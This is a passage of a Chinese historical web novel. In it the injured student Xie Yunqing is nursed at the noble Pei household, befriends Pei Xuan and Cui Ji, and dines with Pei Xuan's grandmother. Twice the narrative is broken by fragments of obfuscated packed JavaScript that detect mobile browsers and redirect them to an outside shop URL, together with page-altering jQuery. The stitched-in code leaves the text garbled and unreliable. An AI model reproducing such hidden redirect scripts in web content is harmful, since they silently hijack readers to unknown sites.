“怎么了?还是很疼?”崔稷也有些慌了,一下子站直了,催促裴宣,“快教人将刘大夫请过来。” 裴宣点点头,立马跑出房间,大声嚷了几句。 再又匆匆跑了回来。 这次,后头跟了个端着汤药的老妇人。 “秦嬷嬷秦嬷嬷,你快喂云卿喝药吧!” 裴宣停在谢云卿的床尾,对着那位老妇人焦急道。 崔稷也立马让出了位置。 但还不等那位被称为秦嬷嬷的老妇人靠近。 谢云卿便艰难地开了口:“不……不用,我……已经不疼了。” 完全清醒后。 一种莫大的惶恐,瞬间占据了谢云卿的内心。 怎么会晕过去。 又怎么能继续留在裴宅。 虽然不清楚,裴宣为何会突然对他这么好。 但他从来明白、也从来谨记,他与太学里的世家贵族子弟,从来是两类人。 更别说是裴宣—— 出身顶级世家,兄长又是如今权势最为煊赫的裴丞相。 几乎是他不能接近的存在。 谢云卿再次尝试坐起。 可从左肩传来的无法忽视的疼痛,又再一次让他难以移动。 “……你别动了。”崔稷看出了谢云卿的意图,又上前俯身,轻轻按住谢云卿未受伤的右肩。 也似乎猜出了谢云卿的心思,轻轻叹了口气,“先喝药吧,有什么事之后再说,不然又晕了可怎么办。” “是啊是啊。”裴宣虽不懂为何谢云卿明明疼到额头一直冒虚汗,却还要说自己不疼,但也知道,现下无论如何,都要先让谢云卿喝下那碗药,“你要是怕苦,我便教人送蜜饯过来。” 不知为何,谢云卿竟突然愣住了。 看起来像是对崔稷和裴宣说的话,感到不知所措的样子。 秦嬷嬷趁机上前,跪坐在床头。 十分熟稔又迅速地喂谢云卿喝完了药,再又默默退了下去。 没过一会儿,刘大夫也赶了过来。 他看了一眼谢云卿的脸色,眉头便皱了起来,一言不发地走到床边,掀开披在谢云卿左肩的衣服,仔细地观察了一会儿之后,转头对裴宣说道:“他的情况有些严重,敷了一天止血、止痛的药都没什么作用,我怀疑是伤到了筋骨,需要换一副药再试试。” 再对谢云卿:“这次的药需要敷三天,这三天你都不能再动左肩,稳固气血的药也不能不喝,不然只会越来越严重,明白了吗?” 谢云卿眼睫颤了颤。 刘大夫声音一顿,也叹了口气:“你也不用太担心,若是三日后好转了,便不是什么大问题,静养一段时间就好了。” 说完,就直接离开房间,准备这三日的药材去了。 目送刘大夫走远后,裴宣便坐到了床头。 他先是默了一瞬,随后竟抬起手,在谢云卿眼前晃了晃,小心翼翼道:“……你,能看得见吗?” 崔稷就站在裴宣身后,忍不住又翻了个白眼:“裴宣,你是傻子吗。” 裴宣顿时不乐意了,回头瞪道:“我这不是看他从刚刚喝药开始,到现在一点反应都没有,还以为是有什么特殊的病症吗!” 崔稷轻哼了一声:“你是说,这世上会有一种特殊的病症,能让刘大夫看不出来,却等着让你看出来,是吗?” 论斗嘴,裴宣根本斗不过崔稷。 他索性不再理崔稷,而是看回谢云卿,想了想,又道:“那你是不是困了?” 崔稷实在看不下去了,抬脚碰了碰裴宣的膝盖:“他替你挡了那一下,你不谢谢他吗?” 裴宣这才想起来,连忙倾身,靠谢云卿更近。 态度认真,语气诚恳:“云卿,谢谢你当时挡在我身前。”又轻轻握住了谢云卿的手腕,“我也不知道该怎么感谢你才好,你等我再想想……” “为什么……要谢我。” 谢云卿终于从不知所措的迷茫中回过神来。 可转头。 却又跌进了另一重迷雾中。 昨天挡在裴宣身前的动作。 对于谢云卿来说,其实并没有多复杂的原因——完全是出于一种本能。 一种要保护身边人的本能。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17220315|197056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 而这种本能。 大概是从他弟弟身上得来的。 从他六岁起,弟弟出生后。 父亲和继母便教导他一定要保护好弟弟。 于是这十年来,除了干活的时候,其余时间,谢云卿几乎是寸步不离地守在弟弟身边,就连学习,也都是等弟弟睡着了,才可以进行。 而弟弟天性顽劣,从小到大,没少在乡里与其他孩子起冲突,替弟弟挨打或是因弟弟受伤,便成了谢云卿的家常便饭。而且回去后,有时还要被父亲和继母责骂没有看顾好弟弟。 久而久之。 谢云卿便也习惯,在别人挥起拳头时,冲出来挡在前面了。 况且,认真说来,这次应该是他连累了裴宣才是,所以他挡在裴宣身前,便更是理所应当。 “当然要谢你呀!”裴宣瞪大了眼睛,“你都不知道,这还是第一次有人在我打架的时候,冲出来保护我呢!” 还不忘拉踩崔稷一句:“不像他,每次看到我和别人打架,都是第一个跑掉的!” 崔稷抱臂冷笑:“不然呢,你惹的事还要我陪你一起挨打吗?” “谁说是挨打了!”裴宣不服气,“明明每次我都不落下风的好不好!” “可昨天……”谢云卿更迷茫了,“是我连累了你……” “什么连累不连累的,若真要论这个,便是你说反了,庾琛那小子完全是冲我来的。”裴宣的声音又大了起来,听起来有些气鼓鼓的,“自从庾琛那小子被庾氏认回去后,每次见到我,都要莫名其妙呛我两句,非逼我跟他吵起来,像昨天那样,吵到动手也不是没有过。” 顿了顿,又有些疑惑道:“说来我也不明白,每次我们俩打架,他都会被他爹带回去狠狠教训一顿,有时还会被拎到我哥那里,向我哥赔礼道歉。” “可即使这样,他都一点没变过。” “这次也是,我在你醒之前就听说了,昨晚庾琛又被他爹家法伺候了一顿,说是还跪了整整一晚上,也不知道今天还会不会去找我哥了。”说到这里,裴宣甚至都有些于心不忍了,“哎,真不知道他怎么想的,就像是在故意给自己找罪受一样。” 谢云卿自己都还在迷茫当中,自然难以评价庾琛的所作所为。 只在听到裴宣提及他哥裴丞相的时候。 突然有了些许反应,双唇微动:“那……丞相他……” 谢云卿根本说不全话。 但崔稷立刻反应过来了,安抚道:“你不用怕,裴相非休沐不会回裴宅,你这几天安心待在这里养伤就是。” 谢云卿一怔,随后微微点了点头。 能与裴宣有接触、甚至来到裴宅,已足够让他感到十分的惶恐与不安。 他便不敢想象。 若是碰到了那位裴丞相,自己又该如何自处。 “哦!原来你也怕我哥啊!”裴宣像是找到了知音,握着谢云卿手腕的手都紧了些,“其实我也挺怕他的!” 说完似乎是觉得有些不妥当,便想找补几句:“但你别只听旁人说,我哥怎么怎么冷冰冰,又怎么怎么不近人情,其实他……其实他……” 裴宣支吾了好一会儿,也没想出什么具体的词来找补。 最后只得干笑两声,强行给他哥发了张好人卡:“其实我哥他,人还挺好的……哈哈。” 崔稷懒得救场。 气氛眼看就要陷入尴尬。 恰在此时,房门从外打开。 正是方才给谢云卿喂药的秦嬷嬷—— “两位公子安。” “老夫人听说谢小公子已经醒了,便想来看一看。” 7.第七章 在听到崔稷与裴宣劝他喝药的那一刻—— 谢云卿的脑海中。 浮现了一片云。 像是很小的时候,母亲抱着他坐在院子,指给他看的那片云。 谢云卿的思维变得迟钝。 呼吸也变得缓慢。 他想起来,那个时候。 母亲指着那片云对他说,他将要出生时,原本万里无云的天空中,突然飘来了一片云,停在了母亲的窗前,直到他出生,都没有散去。 福至心灵,母亲便决定。 给他取名“云卿”。 其实当时的他,并没有完全理解母亲那段话的意思。 只记得。 母亲抱着他的手很暖,看着那片云的眼神很温柔。 后来,母亲离去的那天。 母亲同样抱住了他,指着窗外一片不知何时飘来的云说,她不会离开,只是住到了云里,会在天上陪着他长大。 从那之后,谢云卿便有了时不时仰头看云的习惯。 幻想母亲就在某一片云中。 也同样在看着他。 直到某一天,他的弟弟不知从哪里听说了,他喜欢仰头看云的原因,便和一群孩子一起嘲笑他,他的母亲早就死了,根本不会住在云里。 谢云卿忘了自己当时有什么反应。 可能什么反应都没有。 只是从那一天起。 不再仰头看云。 可是云却没有从他的生活中消失。 会在他孤单、难过、痛苦时。 出现在他的梦中。 也会在他极少感到快乐、喜悦、温暖时。 浮现在他的脑海里。 那这一刻。 这片云的出现,是因为痛苦,还是因为温暖? 谢云卿暂时没有答案。 因为脑海里的那片云很快就散去了。 短暂到,几乎只是出现了一瞬间,就被心中的惶恐与不安驱散了。 后面当他勉强找回一点理智,准备开口请求离开时,却又听到裴老夫人想来见他。 这便当真让他完全不知所措了。 他虽对京中世家了解不多,却也知道如今的河东裴氏之所以如此显赫,除了是因为有那位权倾朝野的裴丞相之外,还因为有身为当今皇帝姑祖母、也就是兖国大长公主的裴老夫人。 当年,裴丞相的父母逝去,这位贵为大长公主的裴老夫人在悲痛之余,立即上告皇帝,将放弃公主府之仪,搬入裴宅,亲自抚育她的两个孙儿。此举迅速稳住了当时河东裴氏的门庭,不教任何世家乃至皇室看轻。 可以说,若是没有裴老夫人这弃府入宅的举动,纵使裴丞相再如何天纵奇材,可毕竟才将将十五岁,很难毫无后顾之忧地离开京城,前往豫州继承父任。 更别说,即使裴老夫人虽已与皇室不甚亲厚,却也是如今皇室中辈分最高的宗室,无人敢不敬。 就是这样一位尊贵的老夫人,现在竟然说,想来看一看他。 …… “云卿!云卿!你听见我们说话了吗?” 谢云卿艰难地反应过来,轻轻应了一声。 还后知后觉,手腕有点痛。 眉头微微皱了皱。 “裴宣,你捏疼他了。”崔稷的声音听起来很无奈。 “啊!”裴宣立刻放开手,又站了起来,将床头的位置让给了崔稷,“崔稷,你是不是在吓我!我明明没用力呀!” 崔稷懒得多回裴宣一句话。 踱到床边,俯下身,轻声问谢云卿:“你现在左肩还疼吗?” 语顿又补充道:“不用忍着,和我们实话实说就好。” 谢云卿现在已经无法思考。 只能顺着崔稷的话,认真感受了一下左肩处的感觉,然后摇摇头,回答:“不怎么疼了。” “那就好,应该是汤药起作用了。”崔稷直起身,“我和裴宣刚才让秦嬷嬷先出去了,准备跟你商量一下,虽是老夫人主动想见你,确也没有让她老人家过来的道理。我们便想着,若是你不疼了,不如等会儿与我们一起,去陪老夫人用晚膳。况且刘大夫也嘱咐过,气血不顺宜多走动,对你自己的身子也好。” “你可愿意?” 谢云卿仍是愣愣的,像是有点听不懂崔稷的话。 崔稷便又道:“你别担心,老夫人为人和蔼,对小辈更是十分亲近,你不用顾忌太多,只当她是你自己家中的长辈便好。” “是呀是呀。”裴宣点头如捣蒜,很是赞同崔稷的说法,“我祖母人可好了,每次我惹事回来,若是我哥不肯原谅我,还要罚我,那我只要去我祖母面前哭一哭,马上就会没事了!” 崔稷忍了忍,没忍住。 朝着裴宣又又又一次翻了个白眼:“这种事难道很值得说出来吗?” 裴宣满不在乎:“我又没告诉外人。” 崔稷被他打败,再次深吸了一口气,重新看回谢云卿:“但你若是实在不愿,也不要紧,老夫人那里是不会怪罪的。” 谢云卿终于明白崔稷的意思了。 他自然想要拒绝。 想要尽快离开这个,他本不应该踏足的地方; 离开这些,他本不应该接触的人。 可也不知为何,就像方才听崔稷与裴宣劝他喝药时那样。 他发现自己,竟然说不出拒绝。 为什么要拒绝呢?谢云卿心底有一道微弱的声音在问,为什么一定要拒绝别人的好意呢? 试一试吧,试一试吧。 那道声音越来越强。 起码,不要让眼前这两个对他很好的人失望。 “……好。” 谢云卿眼睫不住颤抖。 却缓慢地点了点头。 “太好了!”裴宣欢呼一声。 转头往房外走,“我去和秦嬷嬷说。” 不过这回,倒没有很快就回来,像是因为在和秦嬷嬷说些什么而耽误了。 房内便只剩下谢云卿和崔稷二人。 崔稷似有犹豫,难得欲言又止。 少时却也还是开了口,对谢云卿道:“可能你会疑惑裴宣为何会对你这么好。” 谢云卿原本有些涣散的眼神立刻凝聚,看向崔稷。 眼睛眨了眨。 一副很想要知道的样子。 崔稷竟笑了笑。 不知是因为谢云卿的神态,还是因为自己接下来要说的话: “其实我也不知道。” 谢云卿双眼顿时睁大了,还小声的“啊”了一下。 崔稷这下笑出了声:“没骗你,我确实不知道。” 难得显出几分少年人的顽皮。 片刻后,收了笑,看向房外的方向:“因为他就是这样,待人做事很少考虑为什么,从来是想怎么做,就怎么做。” “但你不必因此疑虑担忧,也不必因此患得患失。”崔稷叹了口气,却是嘴角微扬,“他啊,只要认准了一个人,或是一件事,就很难改变最初的想法。” 崔稷慢慢看回谢云卿。 像安抚,也像鼓励:“所以,从现在开始,至少在他面前,你不用害怕或者不安。因为他待你的好,不仅是真心的,还是轻易不会改变的,你只别辜负了他就好。” 谢云卿张了张嘴,似乎想要说些什么。 但还未出声,便被一下子猛地冲进来的裴宣打断。 “云卿云卿。”裴宣停在谢云卿床前,还将崔稷挤走了几步,“我刚刚问了秦嬷嬷,她说祖母那里也没有适合你穿的新衣服。” 再转头示意随后进来的两个侍从上前,“我便只好让人将我从前几件没穿过的衣服找出来了,你看你今天想穿哪件?” 几句话说完,突然莫名抬手摊开,对着谢云卿的脸比了比,再又侧身对着崔稷比了比。 最后收手挠了挠头:“奇怪了,我们仨年纪不是差不多吗,怎么云卿的脸比我们的小那么多,只有我一只手那么大。” “个子倒是差的不怎么多,但也太瘦了吧,根本穿不了我现在的新衣服。”裴宣看上去竟有些苦恼,“秦嬷嬷说,云卿最多只能穿上我十二三岁的衣服。” 语顿,认真地看着谢云卿的眼睛:“一定是你平时吃得太少了,所以才这么瘦,对不对。” 崔稷冷笑:“说不定是你吃得太多呢?” 谁曾想,裴宣闻言,竟真的回想了好一会儿,才很迟疑地回答道:“没有吧……毕竟我都没长成阮家那几个胖球那样,刘大夫也说过,我只是很壮而已呀。” 崔稷闭了闭眼。 一脸不想再和裴宣说话的样子。 裴宣却看不出崔稷脸上那么“复杂”的表情,还乐呵呵地上前,揽住崔稷的肩,当着谢云卿的面道:“云卿肯定不会挑衣服的,你爱打扮,眼光好,还是你来挑吧。” 又不等崔稷反应,就再次扑到谢云卿床前,邀功一样:“云卿,你都不知道这次我考虑得有多周全!” “我已经派人跟祝司业说了,等你的伤好了我们再回太学。这段时间,学习的事你不用担心,只要你想,宅中有几个夫子可以教你,太学那边也会有 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“什么笑掉大牙,是你当时还在换牙吧!”裴宣不甘示弱,而后也看了一眼侍从手上的衣服,有些稀奇道,“这件我确实没见过,应是做出来后就觉得不适合我,便一直闲放着了。” 又看了看谢云卿,眼睛一亮:“崔稷的眼光果真不错,这件一看就很适合云卿。”再转过身,推了推崔稷,“我们先出去吧,等云卿衣服换好了再进来。” 临出门,忽然转头对侍从嘱咐了一句:“你千万小心些,不要碰到云卿的左肩,也不要让他动了左肩。” 房门轻轻关上,暖烘烘的热闹便瞬间散去。 房内变得特别安静。 周围的一切也终于不再模糊,变得清晰起来——从锦被到床帐,从席案到凭几,从香炉到玉瓶,从屏风到珠帘,再从放满了各式奇珍的大大小小的沉木架,到每一个细节都雕画精美的脊檩梁栋…… 都是谢云卿从前,只从画中窥见过的世家之景。 如今,却真实地出现在他眼前。 谢云卿很不习惯这样的环境,愣愣地有些发呆。 自来到京城,来到太学,若说完全没有机会接触这些豪门世家,自是不可能。 比如某些突然的示好邀请,又比如某些递来的攀附途径。 即使这些机会从来离得很近。 但谢云卿根本不想靠近。 然而,现在一觉醒来,却又真真切切的身处其中。 谢云卿有些不知该如何自处。 床边的侍从轻声提醒,唤回了谢云卿些许神智。 他还是想要拒绝,起码,他并不需要旁人的服侍,却又突然想到崔稷和他说的一番话——不要辜负裴宣的好意。 可他不过是替裴宣挡了一拳,便值得裴宣对他这么好吗? 茫然间,侍从迅速上前。 避开谢云卿的伤处,轻手轻脚地扶起谢云卿,让他先坐着,再又站起。 不过片刻,便替谢云卿换好了衣服,而后静静地退了下去。 裴宣和崔稷很快进来。 不知为何,在看到谢云卿后,他二人竟皆有一愣。 最后还是崔稷先回过神,轻咳了两声:“时辰快到了,我们走吧。” 一路上,原本话很多的裴宣莫名没再说什么话,只时不时看谢云卿一眼,看起来想说什么,却又有些不好意思说。 而崔稷也只在一开始的时候,叮嘱了谢云卿几句待会儿见到裴老夫人的礼仪,便不再开口。 谢云卿安静地跟在裴宣与崔稷身后,除了走路,没有任何多余的动作,像一个由傀儡线控制的玉偶般。直到穿过一道精巧的月洞门,走出裴宣的院子,步入裴宅逶邃的长廊,满眼清奇景象,才让谢云卿不由自主地侧首观望。 与乡里不同,这里的一砖一瓦皆似巧夺天工的艺术品,五步一楼阁,十步一榭台,廊檐交错,尽显奢贵之气;这里也与太学不同,除了或精致或庄重的建筑之外,移步之间,景色皆是不同,只在这其中走着,便如漫步草木花石繁盛的园林,目不暇接。 谢云卿看着眼前如同天上人间一般的景象,脚步逐渐滞重。 忽地,经过一水清如镜的石潭,谢云卿看到其中自己的倒影,与水面上的几片落叶掩映,错眼之间,仿佛自己也成了那水面上的落叶,在这天宫似的裴宅里,轻微渺小,无人在意。 他不过误入其中,没有任何的归属。 甚至。 都不如那几片落叶,没有可以依托住他的水面。 谢云卿忽然感觉一阵气喘胸闷。 快要不能呼吸。 8.第八章(待修) “云卿。”裴宣突然叫住他,“我们到……啊,你的脸怎么又白成这样,是左肩又疼了吗?” 谢云卿抬起眼。 天色已经暗了下来。 昏暗朦胧中,他摇了摇头,轻声道:“……不疼。” 虽说着“不疼就好”,但裴宣还是上前一步,握住了谢云卿的手腕,又一声惊呼:“怎么这么凉。” 崔稷眉头一皱:“应是外面太冷,我们快进去吧。” 裴老夫人院中的侍女在前方,为他们推开了裴老夫人会客的堂门。 堂内已是一片灯火通明,暖意融融。 跟随侍女绕过屏风,倏然间,满堂珠围翠绕映入眼帘。 他们三人齐齐停下了脚步。 对着坐在正中,装扮雍容却又不失清贵的裴老夫人,一起行了见礼:“祖母/老夫人安。” 昨日晌午之后,裴老夫人收到,裴宣带着一个名叫谢云卿的孩子回来的消息。说是在和庾氏的那个孩子在太学里起冲突时,谢云卿替裴宣挡了一下,便晕了过去。 宅中清净许久,这么多年来,还是第一次发生这样的事。 当时,裴老夫人便想去看一看。 但被秦嬷嬷劝住了,道她身子不好,且还不知那个叫谢云卿的孩子样貌、品性如何,不宜与之面见。 后面听侍女陆陆续续来报,在她们的描述中,那个叫谢云卿的孩子简直漂亮得像宫里、宅中最精美的玉娃娃,任谁看一眼,都会忍不住怜惜。 裴老夫人有些惊奇,问来报的侍女:“不是说人还没醒吗?又是受着伤,想必憔悴不已,也能好看到让你们一个个争着抢着去看?” 她如今身边伺候的人,除了几个一直跟着她的老人,其余的,便都是近几年招进宅的小女儿。 不过她们虽年纪小,但平时也都性情沉静、举止得当,根本没有过如今天这般,自第一个人的描述传来后,一个两个都沉不下心,争着抢着借替她相看的由头,往裴宣那儿跑。 侍女被她问得满脸羞红,支吾了几个字,话都说不清楚。 裴老夫人顿觉好笑,调侃道:“是家中的长公子不够清贵出尘,还是裴宣不够相貌堂堂,或是崔家的长公子不够霁月光风,又或是崔稷那孩子不够清新俊朗?怎么平日里看你们见到他们,都不曾流露过如此小女儿情态,难道这个叫谢云卿的孩子的样貌,竟比他们四个还要更胜一筹?” 侍女们顿时有话说了,七嘴八舌的,各有各的见解。裴老夫人耐心听了半天,也没听出个具体的回答。 最后还是年纪大一点的侍女告诉她,只论样貌,谢云卿大概与长公子一样,略胜于其他三位公子,可这并非是她们喜欢的关键,重点在于气质。 裴老夫人来了兴致,放下手中佛珠,笑着问道:“什么气质?倒也不是我这个做祖母的偏心,要论气质的话,应是长公子风华更胜吧。” “长公子的风华虽胜,却太过清冷,令人不敢接近。”侍女犹豫一瞬,小声道,“不瞒老夫人您说,我们当中许多人,在您身边侍候有三年了,甚至都不敢抬头看长公子一眼,实在是既敬又畏啊。” 裴老夫人点点头。 平日里,她这个孙儿,就跟冰雕出来的一样,莫说宅中的侍女,就她听闻,连朝中的官员与世家的子弟,有很多,都不敢与他接触。 “而那谢小公子……”侍女的脸又红了些,“妾嘴笨,说不好,老夫人您听了可别怪罪。” 裴老夫人忍不住笑:“好,不怪罪。” “那谢小公子,谢小公子……”侍女踟蹰两息,最后一闭眼,捏紧手中的帕子,羞道,“让人看了,想做他的娘亲!” 此话一出,房内七八个侍女顿时低声笑作一团。 裴老夫人一愣,半晌后佯装嗔怪道:“什么叫‘想做他的娘亲’?你们这几个女儿,都还未出阁呢,怎么会说出这种话。” 其中一个性子活泼点的侍女忍不住上前,咯咯笑着答道:“就是想做他的娘亲呀,想把他抱在怀里,疼他、爱他、亲他,不忍心他受一点委屈,还会想把自己有的最好的东西都给他。” 其余侍女也都跟着附和。 裴老夫人活了这么久了,又一直身居高位,什么大风大浪、千奇百怪的事没见过,且自认为人也并不迂腐,但今日这一遭,确实超出了她的认知,便看向了站在她身边的秦嬷嬷。 秦嬷嬷也跟着笑了两声,主动请缨道:“那奴便先去替老夫人看一看吧。” 待秦嬷嬷回来后,几个侍女立刻围了上去,叽叽喳喳的,你一句我一句地问秦嬷嬷的看法。 秦嬷嬷径直走到裴老夫人面前,矮身一礼后,笑着说道:“确如她们说的呢,那谢小公子让人看了,实在很难不心生怜惜。” 语顿又敛了些笑意,微微摇头叹息道:“奴还顺便打探了,那谢小公子出身并不好,不仅家境贫寒、门庭低微,还幼年便丧了母。但即使这样,也还是考上了太学,且听说平日里品行极佳,成绩优异,是新生中的佼佼者。” 秦嬷嬷说完,侍女们顿时又哀叹起来,有几个还悄悄红了眼眶,低声说什么“舍不得”“舍不得”。 裴老夫人也心生动容。 当即吩咐秦嬷嬷再去知会一声,她也要去看一看那个孩子。 也是意料之中,有崔稷那孩子在,裴宣那头便回,说是稍后会带着谢云卿来陪她用晚膳。 侍女们立刻忙活起来。 连带着她这把许久未曾有过波澜的老骨头,也变得期待起来。 当谢云卿绕过屏风,走入堂中。 裴老夫人终于明白了,她的那些侍女口中,会让人忍不住怜惜的气质究竟是什么。 彼时,谢云卿明明身无任何环翠玉佩的装饰,连头发也只是用一根锦带半束,只一身简单的鹅黄色玉兔纹锦绣常服,站在明亮的灯火与璀璨的珠翠中,竟不逊半点颜色。 他的肌肤本就白得似玉如雪,现下脸色又有些憔悴,若是单单看去,便会显出些许凄苦之感。但此刻,在鹅黄色衣料的映衬下,那种苍白与憔悴,竟有了几分清贵之意,乍眼一看,宛若月上仙君。 可若只是如此,便只会让人心生敬畏而非怜惜。 这就要说那衣料上的玉兔暗纹,如同画卷上的点睛之笔,竟将谢云卿眉眼之间的楚楚可怜完全衬出,让谢云卿看起来,比那茸茸玉兔还要可爱上几分。还有肩颈处缀着的一圈雪白的兔绒毛领,更是完美地将那清贵与可爱融合,让人看了,很难不又爱又怜。 不过,裴老夫人也不是没有见过这般颜色惊艳的人物。 纵使不能抵他十分,却也能有七八分的程度。 让她感到意外,或是说真正体会到。 什么叫“想做他的娘亲”这个形容的——是谢云卿的眼睛。 单看谢云卿的眼睛,其实并没有多少光芒,就是如裴宣那般,对什么事都充满乐观的闪亮。 但却并不让人感到消颓,反而能让人清晰地看出,他眼底隐含的坚韧,会让人相信,这个孩子无论面对如何的逆境、又面对如何的困难,都会像生在悬崖岩石中的青松,靠自己的坚韧不拔,一关一关地闯过去。 也正是这种坚韧。 才会在无形中,让人真正从心底生出一种,说不清道不明的怜惜。 裴老夫人双眉轻皱,却嘴角微扬。 对谢云卿招招手:“你便是云卿吧,来,到祖母这里来。” 最先有反应的是裴宣。 他面露震惊:“祖母,你没有看到我吗!” 再又道:“不对,祖母,你什么时候也成了云卿的祖母了!” 裴老夫人嗔裴宣一眼:“你这孩子,我不过是让云卿随着你一起叫我祖母罢了。” 裴宣虽拉着谢云卿的手腕,带着谢云卿一起坐到裴老夫人身边,却没那么好哄,还不依不饶道:“那你怎么不让崔稷也喊你祖母。” 崔稷正往裴老夫人左侧的坐席走。 闻言,脚步一顿,向裴宣投去“你没救了”的眼神,随后,施施然落座。 裴老夫人抬手竖指,点了点裴宣的额头:“就你话多。” 再慢慢转过眼,看向谢云卿,放低声问道:“好孩子,听说你替裴宣挡了伤,现在还痛不痛呀?” 刹那间,一股檀香钻入谢云卿的鼻尖。 竟莫名使得谢云卿原本面见裴老夫人的惶恐与不安淡了许多。 谢云卿终于敢抬眸,迎上裴老夫人的视线。 那是一双被岁月留下许多痕迹的双眼,却不见半分浑沌,就这么清亮又和蔼地看着他。 谢云卿从中感受到了一种不加掩饰的善意与……喜爱。 这个认知令他浑身一震。 这位贵为兖国大长公主与河东裴氏主母的老夫人,初次见他,竟就向他流露出了如此和善的情感。 谢云卿有些不敢相信。 整个人便愣在那里,没有应声。 裴宣大概以为谢云卿紧张傻了,想了想,对谢云卿道:“云卿,先叫祖母,叫完祖母就不紧张了。” 这话逗得裴老夫人和站在一旁的嬷嬷侍女全都笑了起来。 谢云卿却不知她们在笑什么。 他实在没有应对过这样的场合,犹豫了片刻,竟当真听裴宣的话,对着裴老夫人,轻轻喊了一声“祖母”。 裴老夫人一愣,随后笑着应道:“诶,好孩子,日后就喊祖母,记住了吗?” 而后,从裴宣手中接过谢云卿的手腕。 轻轻拍了拍:“现在与祖母不熟不要紧,多来往来往便好了。” 又吩咐秦嬷嬷,将原本给谢云卿准备的碗筷移到她这边来:“云卿啊,这次便与祖母一同用膳吧。” 裴宣这回倒没有抗议什么。 直接乖乖起身,走到裴老夫人的右侧的案席落座。 堂内的侍女们立刻有序地分立三张案席左右,侍候裴老夫人他们用膳。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233006|197056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 裴宅内虽没有严格的“食不言,寝不语”的规矩,但裴老夫人与裴宣没说话,堂内自然就完全安静了下来。 稍稍用了几匙粥膳后,裴老夫人看向了乖巧地坐在她身侧的谢云卿—— 如同一只毛茸茸的小动物。 侍女给他夹什么,他就安静地吃什么。 裴老夫人是越看越喜欢,最后忍不住接过了银筷,亲自替谢云卿夹了一片糖藕:“裴宣小时候最爱吃这个了,云卿你也尝尝。” 裴宣被忽然提及,几乎是从碗中抬起头,看向裴老夫人与谢云卿,含糊道:“云卿你快吃呀,我都快吃完了。” 裴老夫人一副拿裴宣没办法的样子:“哎呀,你吃慢点,又没人跟你抢。” 裴宣知道裴老夫人是在嫌弃他吃得太快,顿时有些不高兴了,张嘴就想反驳。 但就在此时,有侍女快步走入堂中,向裴老夫人通禀:“老夫人,崔长公子请见。” 裴老夫人面露惊喜:“玄儿回来了?快让他进来吧。” 秦嬷嬷也立即吩咐身侧侍女,准备崔玄的案席。 在谢云卿意识到发生了什么之前。 崔稷便主动对着谢云卿解释道:“是我哥要来了。” 不过,这反而像是提醒了裴宣。 裴宣立刻放下手中的碗筷,激动地站了起来,一边朝堂外张望,一边道:“阿玄哥哥这次去会稽,是不是比我哥去吴郡的时间还要久。” 崔稷没接话。 还是秦嬷嬷回答道:“是呢,崔长公子是年还没过完,便去了会稽,只是不知是什么时候回来的……” “今日回来的。” 比身影出现更早的,是一道听起来清朗如山林之风的声音。 紧接着,崔玄其人,走入了堂内众人的视线中。 谢云卿也抬眸看去。 崔玄很高,长得与崔稷有三分像,只是不似崔稷的少年凌厉,眉眼之间更加温润些,周身气度十分清雅随和,给人一种如沐春风的亲和之感。 崔玄稳步走到裴老夫人面前,先是对着崔老夫人行了一礼。起身时,眼神扫过谢云卿,看起来有些意外,似乎像是早就知道了,却又没有那么确定。 但很快就收了眼,再分别对裴宣与崔稷点头示意。 裴宣看起来非常高兴,连连喊着:“阿玄哥哥阿玄哥哥,你终于回来了!” 裴老夫人也道:“会稽的事情忙完了?既是今日才回来,怎么不先好好休息几日?” 崔玄走到裴宣身边,摸了摸裴宣的头。 裴宣终于心满意足地坐回位置上。 而后落座于秦嬷嬷为他准备好的席位,对着裴老夫人答道:“忙完了。在会稽的最后几日清闲,便算休息过了,想着这个时候来裴宅,还能陪您用晚膳,便赶过来了。” 裴老夫人满意地点点头。 再又看了看谢云卿,对崔玄介绍道:“这孩子是裴宣和崔稷的同窗,昨日替裴宣受了伤,来宅中休养,我见他十分合我眼缘,便让他坐我身旁了。” 崔玄对谢云卿笑了笑,没说什么。 裴老夫人转又与崔玄聊起了一些家常,还有在会稽的一些见闻。 如果说裴老夫人在和裴宣、崔稷与谢云卿相处时,是一位德高望重的长辈。 那么在与崔玄对话时,两人竟没有那么明显的长辈与晚辈之感,无论裴老夫人说什么,崔玄都能以一种让裴老夫人感到最舒服的形式和内容回应。 期间,崔玄还十分及时的回答了裴宣一些天马行空的问题,即使被频频打断与裴老夫人的对话,也没有任何的不耐。 最后还是裴老夫人轻声制止了裴宣对崔玄的黏缠。 还玩笑道:“裴宣果真喜欢你,我还记得,他很小的时候,有一段时间,哭着闹着要你做他的哥哥,死活也要往你们崔宅去,怎么劝也劝不住,最后还麻烦你过来裴宅陪他住了一段时间,他才安分下来。” 裴宣立刻接话:“我现在也想阿玄哥哥做我的哥哥!” 裴老夫人无奈一笑:“你也就是趁你兄长不在,才敢这么正大光明地说。” 似乎是因为提及了裴延之,裴老夫人的笑淡了一些,转而有些哀愁道:“你从会稽回来,还有心赶来陪我用膳,延之那孩子呢,便即使从吴郡回来了,也忙得根本见不到人。” “前夜才住了一晚,像是饭都没好好吃,昨天一早天还没亮便又赶去丞相府了。哎,真不知道什么时候,延之能好好陪我这个老人家几天呀。” 崔玄听到这里,笑得像是有些奇怪:“那今夜,便要祝裴老夫人心想事成了。” 裴老夫人摇摇头:“什么心想事成,难不成你要替我将延之从丞相府绑回来?” 